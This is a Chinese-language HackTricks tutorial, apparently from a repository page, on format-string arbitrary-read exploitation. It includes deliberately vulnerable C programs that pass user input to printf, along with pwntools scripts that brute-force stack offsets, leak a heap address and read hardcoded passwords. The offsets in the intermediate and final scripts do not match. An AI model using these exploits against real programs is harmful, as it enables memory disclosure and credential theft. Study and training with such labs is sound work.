hacktricks/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

169 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 格式字符串 - 任意读取示例
{{#include ../../banners/hacktricks-training.md}}
## 读取二进制开始
### 代码
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
用以下命令编译:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### 利用
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- **偏移量是 11**,因为设置多个 A 并且 **暴力破解**从 0 到 50 的循环发现,在偏移量 11 处,加上 5 个额外字符(在我们案例中是管道 `|`),可以控制一个完整的地址。
- 我使用了 **`%11$p`**,并进行了填充,直到地址全部为 0x4141414141414141。
- **格式字符串有效负载在地址之前**,因为 **printf 在遇到空字节时停止读取**所以如果我们先发送地址再发送格式字符串printf 将永远无法到达格式字符串,因为在此之前会找到一个空字节。
- 选择的地址是 0x00400000因为这是二进制文件的起始位置没有 PIE
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## 读取密码
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
用以下命令编译:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### 从栈中读取
**`stack_password`** 将存储在栈中,因为它是一个局部变量,因此仅仅利用 printf 显示栈的内容就足够了。这是一个利用 BF 漏出栈中前 100 个位置的密码的漏洞:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
在图像中可以看到,我们可以从栈中泄露第 `10` 个位置的密码:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### 读取数据
运行相同的漏洞利用,但使用 `%p` 而不是 `%s`,可以从栈中泄露一个堆地址,位于 `%25$p`。此外,将泄露的地址 (`0xaaaab7030894`) 与该进程中密码在内存中的位置进行比较,我们可以获得地址差:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
现在是时候找到如何控制栈中的一个地址,以便从第二个格式字符串漏洞访问它:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
可以看到在 **try 14** 中,使用的传递方式可以控制一个地址:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}